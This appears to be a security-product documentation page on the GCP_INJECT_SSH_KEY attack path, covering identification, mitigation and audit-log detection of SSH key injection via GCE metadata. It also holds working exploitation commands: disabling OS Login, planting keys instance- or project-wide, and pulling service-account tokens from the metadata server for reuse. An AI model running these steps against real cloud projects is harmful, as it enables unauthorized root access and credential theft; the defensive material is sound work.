Skip to content

GCP_INJECT_SSH_KEY

Copy page

Summary

Forestall ACL Alias GCP_INJECT_SSH_KEY
GCP Alias Compute Execution & Pipeline Pivots
Affected Object Types Virtual Machines
Exploitation Certainty Likely
Granting Roles roles/owner, roles/editor, roles/compute.admin, roles/compute.instanceAdmin.v1, roles/compute.instanceAdmin

Description

GCP_INJECT_SSH_KEY indicates that an identity can write instance or project metadata on a GCE VM and thereby plant its own SSH public key, obtaining an interactive shell on a machine it was never granted login access to. The relevant permissions are:

Permission Scope of effect
compute.instances.setMetadata A single instance — plants a key in that VM’s ssh-keys metadata
compute.projects.setCommonInstanceMetadata Every VM in the project that does not set block-project-ssh-keys=TRUE

The guest environment agent running on each VM polls its metadata and provisions a local Linux account for any key it finds in ssh-keys, granting it sudo. Writing metadata is therefore equivalent to creating a privileged local user, and no SSH-related permission is required to do it.

When OS Login is enforced, the guest agent ignores metadata SSH keys, which appears to neutralise this edge. It does not: enable-oslogin is itself a metadata key. An identity holding setMetadata can set enable-oslogin=FALSE and restore metadata-key processing before planting its key. The control that is supposed to contain the attack is writable by the same permission the attack uses.

Relationship to GCP_SSH_TO: Both edges end in a shell on a VM. GCP_SSH_TO uses the sanctioned OS Login path with an IAM-bound identity, and is fully attributable in audit logs. GCP_INJECT_SSH_KEY fabricates a local account instead, so subsequent SSH activity is not tied to any Google identity — the only IAM-attributable event is the metadata write itself. It is the stealthier of the two, and unlike GCP_SSH_TO it does not depend on OS Login being enabled.

As with any shell on a GCE VM, the objective is usually the metadata server rather than the host. A shell yields an OAuth token for the service account attached to the instance (see GCP_RUNS_AS), so the effective privilege gained is that of the VM’s service account, which is frequently far broader than the compute role that enabled the injection.

Identification

gcloud CLI

PROJECT_ID="my-project"
# Find principals holding metadata-write roles
gcloud projects get-iam-policy $PROJECT_ID --format=json | \
jq '.bindings[] | select(.role | test("compute.admin|compute.instanceAdmin|roles/editor|roles/owner")) | {role: .role, members: .members}'
# Confirm a custom role carries the metadata permissions
gcloud iam roles describe ROLE_ID --project=$PROJECT_ID \
--format="value(includedPermissions)" | tr ';' '\n' | grep -E "setMetadata|setCommonInstanceMetadata"
# List VMs with the two properties that decide exploitability
gcloud compute instances list --project=$PROJECT_ID \
--format="table(name, zone, status, serviceAccounts[0].email, metadata.items[enable-oslogin], metadata.items[block-project-ssh-keys])"
# Project-wide metadata — keys here reach every VM that does not block them
gcloud compute project-info describe --project=$PROJECT_ID \
--format="value(commonInstanceMetadata.items)"
# Existing SSH keys on an instance (review for keys nobody recognises)
gcloud compute instances describe VM_NAME --zone=ZONE --project=$PROJECT_ID \
--format="value(metadata.items.filter(\"key:ssh-keys\").extract(\"value\"))"

A VM is exposed to project-level key injection whenever block-project-ssh-keys is absent or FALSE. A VM is exposed to instance-level injection regardless of that setting, and enable-oslogin=TRUE only mitigates it for attackers who cannot also rewrite metadata.

Exploitation

PROJECT_ID="my-project"
VM_NAME="target-vm"
ZONE="us-central1-a"
# 1. Pick a target — prefer instances with high-privilege SAs attached
gcloud compute instances list --project=$PROJECT_ID \
--format="table(name, zone, status, serviceAccounts[0].email, serviceAccounts[0].scopes)"
# 2. Generate a throwaway key pair
ssh-keygen -t ed25519 -f ./injected_key -N "" -C "attacker"
# 3. If OS Login is enforced, disable it first — enable-oslogin is just metadata
gcloud compute instances add-metadata $VM_NAME --zone=$ZONE --project=$PROJECT_ID \
--metadata enable-oslogin=FALSE
# 4a. Inject into a single instance (compute.instances.setMetadata)
echo "attacker:$(cat ./injected_key.pub)" > ./keyfile.txt
gcloud compute instances add-metadata $VM_NAME --zone=$ZONE --project=$PROJECT_ID \
--metadata-from-file ssh-keys=./keyfile.txt
# 4b. Or inject project-wide (compute.projects.setCommonInstanceMetadata)
# Reaches every VM without block-project-ssh-keys=TRUE
gcloud compute project-info add-metadata --project=$PROJECT_ID \
--metadata-from-file ssh-keys=./keyfile.txt
# 5. Log in as the account the guest agent created for the key
EXTERNAL_IP=$(gcloud compute instances describe $VM_NAME --zone=$ZONE --project=$PROJECT_ID \
--format="value(networkInterfaces[0].accessConfigs[0].natIP)")
ssh -i ./injected_key attacker@$EXTERNAL_IP

When appending to existing keys, read the current ssh-keys value and write it back together with the new entry — add-metadata replaces the whole key, so overwriting it removes legitimate access and is likely to be noticed.

With a shell established, harvest the attached service account’s token:

curl -s -H "Metadata-Flavor: Google" \
"http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/email"
curl -s -H "Metadata-Flavor: Google" \
"http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token"

The token is usable against Google APIs from anywhere until it expires:

TOKEN="ya29...."
curl -s -H "Authorization: Bearer $TOKEN" \
"https://cloudresourcemanager.googleapis.com/v1/projects" | jq '.projects[].projectId'

If no external IP is present, the same session is available through an IAP tunnel with roles/iap.tunnelResourceAccessor:

gcloud compute ssh attacker@$VM_NAME --zone=$ZONE --project=$PROJECT_ID \
--tunnel-through-iap --ssh-key-file=./injected_key

Mitigation

  1. Enforce OS Login with an organization policy — apply the compute.requireOsLogin constraint at org or folder scope. Set as an org policy it cannot be undone by a metadata write, which is what makes it effective; instance metadata alone is not a sufficient control.
  2. Set block-project-ssh-keys=TRUE on every VM so project-wide metadata keys cannot reach it, and enforce this at provisioning time rather than retrospectively.
  3. Treat roles/compute.instanceAdmin.v1, roles/editor, and roles/owner as shell-on-every-VM roles. Do not grant them for routine compute operations; prefer narrowly scoped custom roles that exclude compute.instances.setMetadata and compute.projects.setCommonInstanceMetadata.
  4. Audit custom roles for the metadata permissions — either permission is equivalent to root SSH on the instances in scope, and neither is obvious from a role’s name.
  5. Attach minimal-privilege service accounts to VMs and never the default Compute Engine service account with broad scopes. This caps the value of any shell obtained this way.
  6. Block metadata server access from workloads that do not need it.
  7. Restrict roles/iap.tunnelResourceAccessor, which removes network reachability as a barrier.

Detection

The metadata write is the one reliably attributable moment in this attack — SSH activity afterwards belongs to a local account with no Google identity behind it. Detection should centre on the write.

Log Type Method Key Fields
Admin Activity v1.compute.instances.setMetadata Instance-level metadata write — inspect for ssh-keys, enable-oslogin
Admin Activity v1.compute.projects.setCommonInstanceMetadata Project-wide metadata write — affects all unprotected VMs
Admin Activity v1.compute.instances.insert New VM created without block-project-ssh-keys=TRUE
Admin Activity SetIamPolicy New compute.instanceAdmin*, compute.admin, editor, or owner bindings
PROJECT_ID="management-project-486413"
# Metadata writes at instance and project scope
gcloud logging read \
'protoPayload.methodName=~"compute.instances.setMetadata|compute.projects.setCommonInstanceMetadata"' \
--project=$PROJECT_ID \
--format="table(timestamp, protoPayload.authenticationInfo.principalEmail, protoPayload.methodName, protoPayload.resourceName)"
# New grants of metadata-write roles
gcloud logging read \
'protoPayload.methodName="SetIamPolicy" AND
protoPayload.serviceData.policyDelta.bindingDeltas.role=~"compute.instanceAdmin|compute.admin|roles/editor|roles/owner"' \
--project=$PROJECT_ID \
--format="table(timestamp, protoPayload.authenticationInfo.principalEmail, protoPayload.resourceName)"

Alert on:

  • Any write of ssh-keys metadata, at instance or project scope, by a principal that is not the expected provisioning pipeline.
  • enable-oslogin being set to FALSE — legitimate operations rarely disable OS Login, and doing so is a strong precursor to key injection.
  • Project-wide setCommonInstanceMetadata calls, which affect every VM without block-project-ssh-keys=TRUE at once.
  • SSH logins by local Linux accounts that do not correspond to any OS Login identity.
  • Metadata server token requests from a VM shortly after a metadata write to that same instance.
  • VMs created without block-project-ssh-keys=TRUE, which enlarges the project-wide injection surface.

References

Was this page helpful?

Thank you for your feedback.